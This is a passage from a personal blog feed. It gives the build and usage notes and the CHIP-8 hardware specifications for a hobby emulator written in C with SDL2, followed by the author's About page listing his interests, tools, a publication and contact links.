&lt;li&gt;A Makefile is used for building the project.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="usage"&gt;
Usage
&lt;a href="#usage" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="requirements"&gt;
Requirements
&lt;a href="#requirements" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Currently it is only tested on Linux environment.&lt;/li&gt;
&lt;li&gt;The SDL2 library is needed in order to build. For Debian users install the following packets:
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo apt-get install libsdl2-2.0
sudo apt-get install libsdl2-dev
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For other Linux users follow the &lt;a href="https://wiki.libsdl.org/Installation"&gt;SDL Guide&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id="build"&gt;
Build
&lt;a href="#build" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;To build the project, just run the makefile in the repository:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;make
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This will create a &lt;code&gt;main&lt;/code&gt; executable.&lt;/p&gt;
&lt;h3 id="how-to-play"&gt;
How to play
&lt;a href="#how-to-play" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;In order to play a game, select one from the &lt;code&gt;Games/&lt;/code&gt; folder and run the program with the game as a parameter, like:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;./main Games/Paddle.ch8
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;All the games have the &lt;code&gt;.ch8&lt;/code&gt; file extention.&lt;/p&gt;
&lt;h2 id="resources"&gt;
Resources
&lt;a href="#resources" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;All credits go to the incredible resources, documentation and tutorials that are out there for anyone thats interested. Here are some that helped me and inspered me to make this project:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cowgod&amp;rsquo;s &lt;a href="http://devernay.free.fr/hacks/chip8/C8TECH10.HTM"&gt;Chip-8 Technical Reference Reference&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;David Winter&amp;rsquo;s &lt;a href="http://www.pong-story.com/chip8/"&gt;CHIP-8 emulation page&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Matthew Mikolay&amp;rsquo;s &lt;a href="http://mattmik.com/files/chip8/mastering/chip8.html"&gt;Document for Chip-8 Specifications&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Laurence Muller&amp;rsquo;s &lt;a href="http://www.multigesture.net/articles/how-to-write-an-emulator-chip-8-interpreter/"&gt;Chip-8 Emulator Guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Wikipedia&amp;rsquo;s &lt;a href="https://en.wikipedia.org/wiki/CHIP-8"&gt;page&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="chip-8-specifications"&gt;
Chip-8 Specifications
&lt;a href="#chip-8-specifications" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Below there are the Specifications of the microcomputer as a reference.&lt;/p&gt;
&lt;h3 id="general"&gt;
General
&lt;a href="#general" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Simple, interpreted, programming language&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="memory"&gt;
Memory
&lt;a href="#memory" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;4KB (4,096 bytes = 2^12 bytes -&amp;gt; 12 bits addressable = 3 hex digits) of RAM, from location 0x000 (0) to 0xFFF (4095)&lt;/li&gt;
&lt;li&gt;The first 512 bytes, from 0x000 to 0x1FF, are where the original interpreter was located, and should not be used by programs.&lt;/li&gt;
&lt;li&gt;Most Chip-8 programs start at location 0x200 (512), but some begin at 0x600 (1536)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="registers"&gt;
Registers
&lt;a href="#registers" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Has 16 general purpose 8-bit registers (&lt;code&gt;V_0 - V_F&lt;/code&gt;), also:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;V_F&lt;/code&gt; : Should not be used by any program, as it is used as a flag by some instructions.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;I&lt;/code&gt; : 16-bit register for memory addresses (only 12 bits used).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DT&lt;/code&gt; : 8-bit register for delay timer register.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ST&lt;/code&gt; : 8-bit register for sound timer register.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PC&lt;/code&gt; : 16-bit program counter register to store the currently executing address.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SP&lt;/code&gt; : 8-bit stack pointer is used to point to the topmost level of the stack.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="stack"&gt;
Stack
&lt;a href="#stack" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;The stack is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;An array of 16 16-bit values, used to store the address that the interpreter should return to when finished with a subroutine.&lt;/li&gt;
&lt;li&gt;Chip-8 allows for up to 16 levels of nested subroutines.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="keyboard"&gt;
Keyboard
&lt;a href="#keyboard" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;The computers which originally used the Chip-8 Language had a 16-key hexadecimal keypad with the following layout:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;1&lt;/th&gt;
&lt;th&gt;2&lt;/th&gt;
&lt;th&gt;3&lt;/th&gt;
&lt;th&gt;C&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;D&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;E&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;B&lt;/td&gt;
&lt;td&gt;F&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Maps to this configuration:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;1&lt;/th&gt;
&lt;th&gt;2&lt;/th&gt;
&lt;th&gt;3&lt;/th&gt;
&lt;th&gt;4&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Q&lt;/td&gt;
&lt;td&gt;W&lt;/td&gt;
&lt;td&gt;E&lt;/td&gt;
&lt;td&gt;R&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A&lt;/td&gt;
&lt;td&gt;S&lt;/td&gt;
&lt;td&gt;D&lt;/td&gt;
&lt;td&gt;F&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Z&lt;/td&gt;
&lt;td&gt;X&lt;/td&gt;
&lt;td&gt;C&lt;/td&gt;
&lt;td&gt;V&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;This layout must be mapped into various other configurations to fit the keyboards of today&amp;rsquo;s platforms.&lt;/p&gt;
&lt;h3 id="display"&gt;
Display
&lt;a href="#display" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;The original implementation of the Chip-8 language used a 64x32-pixel monochrome display with this format:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(0,0) (63,0)
(0,31) (63,31)
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="timers-and-sounds"&gt;
Timers and Sounds
&lt;a href="#timers-and-sounds" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Chip-8 provides 2 timers, a delay timer and a sound timer:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The delay timer is active whenever the delay timer register (&lt;code&gt;DT&lt;/code&gt;) is non-zero.
&lt;ul&gt;
&lt;li&gt;This timer does nothing more than subtract 1 from the value of &lt;code&gt;DT&lt;/code&gt; at a rate of 60Hz.&lt;/li&gt;
&lt;li&gt;When &lt;code&gt;DT&lt;/code&gt; reaches 0, it deactivates.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;The sound timer is active whenever the sound timer register (&lt;code&gt;ST&lt;/code&gt;) is non-zero.&lt;/li&gt;
&lt;li&gt;This timer also decrements at a rate of 60Hz, however, as long as &lt;code&gt;ST&lt;/code&gt;&amp;rsquo;s value is greater than zero, the Chip-8 buzzer will sound.&lt;/li&gt;
&lt;li&gt;When &lt;code&gt;ST&lt;/code&gt; reaches zero, the sound timer deactivates.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="instructions"&gt;
Instructions
&lt;a href="#instructions" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;The original implementation of the Chip-8 language includes 36 different instructions, including math, graphics, and flow control functions.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Instruction is 2 bytes (= 16 bit) in length and is represented using 4 hexadecimal digits.&lt;/li&gt;
&lt;li&gt;Instruction are stored most-significant-byte (MSB) first.&lt;/li&gt;
&lt;li&gt;In memory, the first byte of each instruction should be located at an even addresses.&lt;/li&gt;
&lt;li&gt;If a program includes sprite data, it should be padded so any instructions following it will be properly situated in RAM.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="fonts"&gt;
Fonts
&lt;a href="#fonts" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Because many programs often need to output a number to the screen, CHIP-8 contains built-in font utilities to allow for simple output of characters using the DXYN instruction.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;All hexadecimal digits (0 - 9, A - F) have corresponding sprite data already stored in the memory of the interpreter.&lt;/li&gt;
&lt;li&gt;The following table displays these sprites and their corresponding sprite data.&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: center"&gt;DIGIT&lt;/th&gt;
&lt;th style="text-align: center"&gt;HEX&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: center"&gt;0&lt;/td&gt;
&lt;td style="text-align: center"&gt;0xF0 0x90 0x90 0x90 0xF0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: center"&gt;1&lt;/td&gt;
&lt;td style="text-align: center"&gt;0x20 0x60 0x20 0x20 0x70&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: center"&gt;2&lt;/td&gt;
&lt;td style="text-align: center"&gt;0xF0 0x10 0xF0 0x80 0xF0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: center"&gt;3&lt;/td&gt;
&lt;td style="text-align: center"&gt;0xF0 0x10 0xF0 0x10 0xF0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: center"&gt;4&lt;/td&gt;
&lt;td style="text-align: center"&gt;0x90 0x90 0xF0 0x10 0x10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: center"&gt;5&lt;/td&gt;
&lt;td style="text-align: center"&gt;0xF0 0x80 0xF0 0x10 0xF0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: center"&gt;6&lt;/td&gt;
&lt;td style="text-align: center"&gt;0xF0 0x80 0xF0 0x90 0xF0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: center"&gt;7&lt;/td&gt;
&lt;td style="text-align: center"&gt;0xF0 0x10 0x20 0x40 0x40&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: center"&gt;8&lt;/td&gt;
&lt;td style="text-align: center"&gt;0xF0 0x90 0xF0 0x90 0xF0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: center"&gt;9&lt;/td&gt;
&lt;td style="text-align: center"&gt;0xF0 0x90 0xF0 0x10 0xF0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: center"&gt;A&lt;/td&gt;
&lt;td style="text-align: center"&gt;0xF0 0x90 0xF0 0x90 0x90&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: center"&gt;B&lt;/td&gt;
&lt;td style="text-align: center"&gt;0xE0 0x90 0xE0 0x90 0xE0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: center"&gt;C&lt;/td&gt;
&lt;td style="text-align: center"&gt;0xF0 0x80 0x80 0x80 0xF0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: center"&gt;D&lt;/td&gt;
&lt;td style="text-align: center"&gt;0xE0 0x90 0x90 0x90 0xE0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: center"&gt;E&lt;/td&gt;
&lt;td style="text-align: center"&gt;0xF0 0x80 0xF0 0x80 0xF0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: center"&gt;F&lt;/td&gt;
&lt;td style="text-align: center"&gt;0xF0 0x80 0xF0 0x80 0x80&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="memory-map"&gt;
Memory Map
&lt;a href="#memory-map" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; +---------------+= 0xFFF (4095) End of Chip-8 RAM
| |
| |
| |
| |
| |
| 0x200 to 0xFFF |
| Chip-8 |
| Program / Data |
| Space |
| |
| |
| |
+---------------+= 0x600 (1536) Start of ETI 660 Chip-8 programs
| |
| |
| |
+---------------+= 0x200 (512) Start of most Chip-8 programs
| 0x000 to 0x1FF |
| Reserved for |
| interpreter |
+---------------+= 0x000 (0) Start of Chip-8 RAM
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>About</title><link>https://thanoskoutr.com/about/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://thanoskoutr.com/about/</guid><description>
&lt;img src="https://thanoskoutr.com/img/profile.png" alt="Thanos Koutroubas" class="center" style="border-radius: 50%; max-width: 150px; margin-bottom: 30px;" /&gt;
&lt;p&gt;Hi, I&amp;rsquo;m Thanos, a Backend Software Engineer at &lt;a href="https://moveo.ai/"&gt;Moveo.AI&lt;/a&gt;, where I build and maintain backend microservices as part of the platform team. I hold a degree in &lt;a href="https://www.ece.ntua.gr/en"&gt;Electrical and Computer Engineering&lt;/a&gt; (ECE) from the &lt;a href="https://www.ntua.gr/en/"&gt;National Technical University of Athens&lt;/a&gt; (NTUA).&lt;/p&gt;
&lt;h2 id="interests"&gt;
Interests
&lt;a href="#interests" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;My background is in Electrical and Computer Engineering, so my interests span from microcontrollers and embedded systems all the way up to web services and cloud infrastructure.&lt;/p&gt;
&lt;p&gt;I enjoy programming in &lt;strong&gt;Go&lt;/strong&gt;, working on &lt;strong&gt;Linux&lt;/strong&gt;, self-hosting services, and playing with my &lt;strong&gt;Raspberry Pi&lt;/strong&gt;. I also like &lt;strong&gt;cybersecurity&lt;/strong&gt;. I have taken part in some &lt;strong&gt;CTF challenges&lt;/strong&gt; and try to learn more about hardware hacking, reverse engineering, and network security. More recently, I&amp;rsquo;ve been focused on backend development, DevOps, AI agents and LLMs.&lt;/p&gt;
&lt;h2 id="languages--tools"&gt;
Languages &amp;amp; Tools
&lt;a href="#languages--tools" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Some of the languages and tools I have used in the past or use daily:&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/go/go-original-wordmark.svg" alt="Go" class="left" style="border-radius: 8px; max-width: 45px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/python/python-original.svg" alt="Python" class="left" style="border-radius: 8px; max-width: 45px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/nodejs/nodejs-original.svg" alt="Nodejs" class="left" style="border-radius: 8px; max-width: 45px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/c/c-original.svg" alt="C" class="left" style="border-radius: 8px; max-width: 45px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/cplusplus/cplusplus-original.svg" alt="Cpp" class="left" style="border-radius: 8px; max-width: 45px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/linux/linux-original.svg" alt="Linux" class="left" style="border-radius: 8px; max-width: 45px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/bash/bash-original.svg" alt="Bash" class="left" style="border-radius: 8px; max-width: 45px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/docker/docker-original.svg" alt="Docker" class="left" style="border-radius: 8px; max-width: 45px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/kubernetes/kubernetes-plain.svg" alt="Kubernetes" class="left" style="border-radius: 8px; max-width: 45px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/html5/html5-original.svg" alt="HTML" class="left" style="border-radius: 8px; max-width: 45px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/css3/css3-original.svg" alt="CSS" class="left" style="border-radius: 8px; max-width: 45px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/javascript/javascript-original.svg" alt="JavaScript" class="left" style="border-radius: 8px; max-width: 45px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/typescript/typescript-original.svg" alt="TypeScript" class="left" style="border-radius: 8px; max-width: 45px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/hugo/hugo-original.svg" alt="Hugo" class="left" style="border-radius: 8px; max-width: 45px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/react/react-original.svg" alt="React" class="left" style="border-radius: 8px; max-width: 45px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon@latest/icons/gatsby/gatsby-original.svg" alt="Gatsby" class="left" style="border-radius: 8px; max-width: 45px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/express/express-original.svg" alt="Express" class="left" style="border-radius: 8px; max-width: 45px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/flask/flask-original.svg" alt="Flask" class="left" style="border-radius: 8px; max-width: 45px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/selenium/selenium-original.svg" alt="Selenium" class="left" style="border-radius: 8px; max-width: 45px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/mysql/mysql-original.svg" alt="MySQL" class="left" style="border-radius: 8px; max-width: 45px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/postgresql/postgresql-original.svg" alt="PostgreSQL" class="left" style="border-radius: 8px; max-width: 45px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/arduino/arduino-original.svg" alt="Arduino" class="left" style="border-radius: 8px; max-width: 45px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/raspberrypi/raspberrypi-original.svg" alt="Raspberry Pi" class="left" style="border-radius: 8px; max-width: 45px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/git/git-original.svg" alt="Git" class="left" style="border-radius: 8px; max-width: 45px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/github/github-original.svg" alt="GitHub" class="left" style="border-radius: 8px; max-width: 45px; margin-left: 10px; display: inline-block;" /&gt;
&lt;/p&gt;
&lt;h2 id="resume"&gt;
Resume
&lt;a href="#resume" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;You can find the latest version of my CV &lt;a href="https://cv.thanoskoutr.com"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="publications"&gt;
Publications
&lt;a href="#publications" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://scholar.google.com/citations?view_op=view_citation&amp;amp;hl=el&amp;amp;user=Sa28M-UAAAAJ&amp;amp;citation_for_view=Sa28M-UAAAAJ:u-x6o8ySG0sC"&gt;&lt;strong&gt;Adversarial machine learning: a review of methods, tools, and critical industry sectors&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Authors:&lt;/strong&gt; Sotiris Pelekis, Thanos Koutroubas, Afroditi Blika, Anastasis Berdelis, Evangelos Karakolis, Christos Ntanos, Evangelos Spiliotis, Dimitris Askounis&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Journal:&lt;/strong&gt; Artificial Intelligence Review, Volume 58, Article 226&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Published:&lt;/strong&gt; 3 May 2025&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Links:&lt;/strong&gt; &lt;a href="http://dx.doi.org/10.1007/s10462-025-11147-4"&gt;DOI&lt;/a&gt; | &lt;a href="https://www.researchgate.net/publication/391430124_Adversarial_machine_learning_a_review_of_methods_tools_and_critical_industry_sectors"&gt;ResearchGate&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="blog"&gt;
Blog
&lt;a href="#blog" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;I started this blog to document my work and the things I experiment with. Most of the posts are guides, cheat-sheets, and walkthroughs from when I was setting up my home server, or doing CTF challenges, or learning new tools. The content is a bit dated at this point, as I haven&amp;rsquo;t been able to write as often as I&amp;rsquo;d like, but I&amp;rsquo;m hoping to change that. You can also find all of my projects on my &lt;a href="https://github.com/thanoskoutr"&gt;GitHub page&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="contact"&gt;
Contact
&lt;a href="#contact" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;div id="socials" style="display: flex; flex-direction: row; justify-content: space-around"&gt;
&lt;a href="https://github.com/thanoskoutr" target="_blank" rel="noopener me" title="Github"
style="margin-left:0.5em"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" width="56" height="56" viewBox="0 0 24 24"&gt;
&lt;path
d="M12 0c-6.626 0-12 5.373-12 12 0 5.302 3.438 9.8 8.207 11.387.599.111.793-.261.793-.577v-2.234c-3.338.726-4.033-1.416-4.033-1.416-.546-1.387-1.333-1.756-1.333-1.756-1.089-.745.083-.729.083-.729 1.205.084 1.839 1.237 1.839 1.237 1.07 1.834 2.807 1.304 3.492.997.107-.775.418-1.305.762-1.604-2.665-.305-5.467-1.334-5.467-5.931 0-1.311.469-2.381 1.236-3.221-.124-.303-.535-1.524.117-3.176 0 0 1.008-.322 3.301 1.23.957-.266 1.983-.399 3.003-.404 1.02.005 2.047.138 3.006.404 2.291-1.552 3.297-1.23 3.297-1.23.653 1.653.242 2.874.118 3.176.77.84 1.235 1.911 1.235 3.221 0 4.609-2.807 5.624-5.479 5.921.43.372.823 1.102.823 2.222v3.293c0 .319.192.694.801.576 4.765-1.589 8.199-6.086 8.199-11.386 0-6.627-5.373-12-12-12z" /&gt;
&lt;/svg&gt;&lt;/a&gt;&lt;a href="https://twitter.com/thanosk0utr" target="_blank" rel="noopener me" title="Twitter"
style="margin-left:0.5em"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" width="56" height="56" viewBox="0 0 24 24"&gt;
&lt;path
d="M12 0c-6.627 0-12 5.373-12 12s5.373 12 12 12 12-5.373 12-12-5.373-12-12-12zm6.066 9.645c.183 4.04-2.83 8.544-8.164 8.544-1.622 0-3.131-.476-4.402-1.291 1.524.18 3.045-.244 4.252-1.189-1.256-.023-2.317-.854-2.684-1.995.451.086.895.061 1.298-.049-1.381-.278-2.335-1.522-2.304-2.853.388.215.83.344 1.301.359-1.279-.855-1.641-2.544-.889-3.835 1.416 1.738 3.533 2.881 5.92 3.001-.419-1.796.944-3.527 2.799-3.527.825 0 1.572.349 2.096.907.654-.128 1.27-.368 1.824-.697-.215.671-.67 1.233-1.263 1.589.581-.07 1.135-.224 1.649-.453-.384.578-.87 1.084-1.433 1.489z" /&gt;
&lt;/svg&gt;&lt;/a&gt;&lt;a href="https://www.linkedin.com/in/thanos-koutroubas" target="_blank" rel="noopener me" title="Linkedin"
style="margin-left:0.5em"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" width="56" height="56" viewBox="0 0 24 24"&gt;
&lt;path
d="M12 0c-6.627 0-12 5.373-12 12s5.373 12 12 12 12-5.373 12-12-5.373-12-12-12zm-2 16h-2v-6h2v6zm-1-6.891c-.607 0-1.1-.496-1.1-1.109 0-.612.492-1.109 1.1-1.109s1.1.497 1.1 1.109c0 .613-.493 1.109-1.1 1.109zm8 6.891h-1.998v-2.861c0-1.881-2.002-1.722-2.002 0v2.861h-2v-6h2v1.093c.872-1.616 4-1.736 4 1.548v3.359z" /&gt;
&lt;/svg&gt;&lt;/a&gt;&lt;a href="https://thanoskoutr.com/index.xml" target="_blank" rel="noopener me" title="Rss"
style="margin-left:0.5em"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" width="56" height="56" viewBox="0 0 24 24"&gt;
&lt;path
d="M12 0c-6.627 0-12 5.373-12 12s5.373 12 12 12 12-5.373 12-12-5.373-12-12-12zm-3.374 17c-.897 0-1.626-.727-1.626-1.624s.729-1.624 1.626-1.624 1.626.727 1.626 1.624-.729 1.624-1.626 1.624zm3.885 0c-.03-3.022-2.485-5.474-5.511-5.504v-2.406c4.361.03 7.889 3.555 7.92 7.91h-2.409zm4.081 0c-.016-5.297-4.303-9.571-9.592-9.594v-2.406c6.623.023 11.985 5.384 12 12h-2.408z" /&gt;
&lt;/svg&gt;&lt;/a&gt;&lt;a href="https://scholar.google.com/citations?user=Sa28M-UAAAAJ" target="_blank" rel="noopener me" title="Googlescholar"
style="margin-left:0.5em"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" width="56" height="56" viewBox="0 0 24 24"&gt;
&lt;path
d="M5.242 13.769L0 9.5 12 0l12 9.5-5.242 4.269C17.548 11.249 14.978 9.5 12 9.5c-2.977 0-5.548 1.748-6.758 4.269zM12 10a7 7 0 1 0 0 14 7 7 0 0 0 0-14z" /&gt;
&lt;/svg&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Email:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;koutroubas.thanos ✉️ gmail.com
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;PGP Fingerprint:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;E8F3 CFCF F789 F7FD 9D9A C70A 7060 F337 C18A 9C04
